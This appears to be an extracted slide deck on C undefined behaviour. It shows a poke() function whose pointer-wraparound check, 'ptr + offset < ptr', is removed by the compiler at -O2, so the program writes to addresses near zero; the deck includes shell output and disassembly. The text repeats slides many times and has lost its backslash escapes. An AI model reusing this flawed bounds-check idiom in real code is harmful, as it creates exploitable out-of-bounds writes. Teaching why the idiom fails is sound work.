printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Here is a function that takes a pointer, and
offset, a pointer to the end of the buffer
(one past the last element), and a value to
be poked into memory.
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
This is an out-of-bounds guard
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
This is an often seen "idiom" to check for very large pointer
offsets.
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
and here it should be safe to do something with the pointer and
offset
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
and here it should be safe to do something with the pointer and
offset
so let's try it with some big values
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrap
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile without optimization
And this is the "expected" behavior
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Compile with optimization
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
WOW? What happened?
Compile with optimization
0x00001da0 <poke+0>: push ebp
0x00001da1 <poke+1>: push edi
0x00001da2 <poke+2>: push esi
0x00001da3 <poke+3>: push ebx
0x00001da4 <poke+4>: call 0x1e26 <__x86.get_pc_thunk.bx>
0x00001da9 <poke+9>: sub esp,0x2c
0x00001dac <poke+12>: mov eax,DWORD PTR [esp+0x4c]
0x00001db0 <poke+16>: mov ebp,DWORD PTR [esp+0x40]
0x00001db4 <poke+20>: mov esi,DWORD PTR [esp+0x44]
0x00001db8 <poke+24>: mov edi,DWORD PTR [esp+0x48]
0x00001dbc <poke+28>: mov DWORD PTR [esp+0x1c],eax
0x00001dc0 <poke+32>: lea eax,[ebx+0xf3]
0x00001dc6 <poke+38>: mov DWORD PTR [esp+0x4],ebp
0x00001dca <poke+42>: mov DWORD PTR [esp+0x8],esi
0x00001dce <poke+46>: mov DWORD PTR [esp+0xc],edi
0x00001dd2 <poke+50>: mov DWORD PTR [esp],eax
0x00001dd5 <poke+53>: call 0x1e70 <dyld_stub_printf>
0x00001dda <poke+58>: lea edx,[ebp+esi+0x0]
0x00001dde <poke+62>: lea eax,[ebx+0x10e]
0x00001de4 <poke+68>: cmp edi,edx
0x00001de6 <poke+70>: jbe 0x1e16 <poke+118>
0x00001de8 <poke+72>: test esi,esi
0x00001dea <poke+74>: js 0x1e10 <poke+112>
0x00001dec <poke+76>: movzx ebp,BYTE PTR [esp+0x1c]
0x00001df1 <poke+81>: lea eax,[ebx+0x12b]
0x00001df7 <poke+87>: mov DWORD PTR [esp+0x48],edx
0x00001dfb <poke+91>: mov DWORD PTR [esp+0x40],eax
0x00001dff <poke+95>: mov DWORD PTR [esp+0x44],ebp
0x00001e03 <poke+99>: add esp,0x2c
0x00001e06 <poke+102>: pop ebx
0x00001e07 <poke+103>: pop esi
0x00001e08 <poke+104>: pop edi
0x00001e09 <poke+105>: pop ebp
0x00001e0a <poke+106>: jmp 0x1e70 <dyld_stub_printf>
0x00001e0f <poke+111>: nop
0x00001e10 <poke+112>: lea eax,[ebx+0x121]
0x00001e16 <poke+118>: mov DWORD PTR [esp+0x40],eax
0x00001e1a <poke+122>: add esp,0x2c
0x00001e1d <poke+125>: pop ebx
0x00001e1e <poke+126>: pop esi
0x00001e1f <poke+127>: pop edi
0x00001e20 <poke+128>: pop ebp
0x00001e21 <poke+129>: jmp 0x1e76 <dyld_stub_puts>
0x00001da0 <poke+0>: push ebp
0x00001da1 <poke+1>: push edi
0x00001da2 <poke+2>: push esi
0x00001da3 <poke+3>: push ebx
0x00001da4 <poke+4>: call 0x1e26 <__x86.get_pc_thunk.bx>
0x00001da9 <poke+9>: sub esp,0x2c
0x00001dac <poke+12>: mov eax,DWORD PTR [esp+0x4c]
0x00001db0 <poke+16>: mov ebp,DWORD PTR [esp+0x40]
0x00001db4 <poke+20>: mov esi,DWORD PTR [esp+0x44]
0x00001db8 <poke+24>: mov edi,DWORD PTR [esp+0x48]
0x00001dbc <poke+28>: mov DWORD PTR [esp+0x1c],eax
0x00001dc0 <poke+32>: lea eax,[ebx+0xf3]
0x00001dc6 <poke+38>: mov DWORD PTR [esp+0x4],ebp
0x00001dca <poke+42>: mov DWORD PTR [esp+0x8],esi
0x00001dce <poke+46>: mov DWORD PTR [esp+0xc],edi
0x00001dd2 <poke+50>: mov DWORD PTR [esp],eax
0x00001dd5 <poke+53>: call 0x1e70 <dyld_stub_printf>
0x00001dda <poke+58>: lea edx,[ebp+esi+0x0]
0x00001dde <poke+62>: lea eax,[ebx+0x10e]
0x00001de4 <poke+68>: cmp edi,edx
0x00001de6 <poke+70>: jbe 0x1e16 <poke+118>
0x00001de8 <poke+72>: test esi,esi
0x00001dea <poke+74>: js 0x1e10 <poke+112>
0x00001dec <poke+76>: movzx ebp,BYTE PTR [esp+0x1c]
0x00001df1 <poke+81>: lea eax,[ebx+0x12b]
0x00001df7 <poke+87>: mov DWORD PTR [esp+0x48],edx
0x00001dfb <poke+91>: mov DWORD PTR [esp+0x40],eax
0x00001dff <poke+95>: mov DWORD PTR [esp+0x44],ebp
0x00001e03 <poke+99>: add esp,0x2c
0x00001e06 <poke+102>: pop ebx
0x00001e07 <poke+103>: pop esi
0x00001e08 <poke+104>: pop edi
0x00001e09 <poke+105>: pop ebp
0x00001e0a <poke+106>: jmp 0x1e70 <dyld_stub_printf>
0x00001e0f <poke+111>: nop
0x00001e10 <poke+112>: lea eax,[ebx+0x121]
0x00001e16 <poke+118>: mov DWORD PTR [esp+0x40],eax
0x00001e1a <poke+122>: add esp,0x2c
0x00001e1d <poke+125>: pop ebx
0x00001e1e <poke+126>: pop esi
0x00001e1f <poke+127>: pop edi
0x00001e20 <poke+128>: pop ebp
0x00001e21 <poke+129>: jmp 0x1e76 <dyld_stub_puts>
Here is the machine code generated by the
compiler.The essence is that...
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
